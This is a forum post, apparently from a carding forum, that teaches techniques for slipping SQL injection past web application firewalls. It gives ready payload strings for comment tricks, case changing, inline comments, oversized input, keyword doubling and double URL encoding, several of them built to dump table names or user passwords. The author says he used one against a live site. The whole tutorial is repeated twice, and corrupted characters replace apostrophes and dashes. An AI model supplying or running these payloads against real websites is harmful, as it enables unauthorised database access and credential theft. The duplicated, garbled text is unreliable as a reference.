CardingMafia Admin
02-07-2013, 09:55 AM
What is WAF or Web Application Firewall>?
-A web application firewall (WAF) is an appliance,server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
Some website are using WAF filter.
If u found a vuln sites that have waf and u try to inject a Union based query and its Show's Not Acceptable, 403 forbidden or Web Application FIrewall ALERT..That means the query or syntax that u inject is Filter or Blocked by WAF.
Ok now here's some method to Bypass WAF filters.
1)Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:
//, ? , /**/, #, ?+, ? -, ;
2)Case Changing:
Some WAF?s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:
/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)
3)Inline Comments:
Some WAF?s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
id=1/*!UnIoN*/SeLeCT
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, let?s pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -
The above code would bypass the filter. Notice we can use ?like? instead of ?=?
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()? -
The above code should bypass the Union+select filters even where common inline comments didn?t work itself
4)Buffer Overflow:/Unexpected input:
A lot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it?s job correctly, but when given a large amount of Data allows the malicious request and response.
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
,27,28,29,30,31,32,33,34,35,36?+
This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF?s with the same action
Sometimes and application will remove all of a keyword. For instance, let?s say we have a filter that replaces union select with whitespace. We could bypass that filter like so:
id=1+UNIunionON+SeLselectECT+1,2,3?
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:
UNION+SELECT+1,2,3?
6)Character encoding:
Most WAF?s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+
-A web application firewall (WAF) is an appliance,server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.
Some website are using WAF filter.
If u found a vuln sites that have waf and u try to inject a Union based query and its Show's Not Acceptable, 403 forbidden or Web Application FIrewall ALERT..That means the query or syntax that u inject is Filter or Blocked by WAF.
Ok now here's some method to Bypass WAF filters.
1)Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:
//, ? , /**/, #, ?+, ? -, ;
2)Case Changing:
Some WAF?s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:
/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)
3)Inline Comments:
Some WAF?s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
id=1/*!UnIoN*/SeLeCT
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, let?s pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()? -
The above code would bypass the filter. Notice we can use ?like? instead of ?=?
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()? -
The above code should bypass the Union+select filters even where common inline comments didn?t work itself
4)Buffer Overflow:/Unexpected input:
A lot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it?s job correctly, but when given a large amount of Data allows the malicious request and response.
id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A?s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),use r(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23, 24,25,26
,27,28,29,30,31,32,33,34,35,36?+
This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF?s with the same action
Sometimes and application will remove all of a keyword. For instance, let?s say we have a filter that replaces union select with whitespace. We could bypass that filter like so:
id=1+UNIunionON+SeLselectECT+1,2,3?
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:
UNION+SELECT+1,2,3?
6)Character encoding:
Most WAF?s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users?+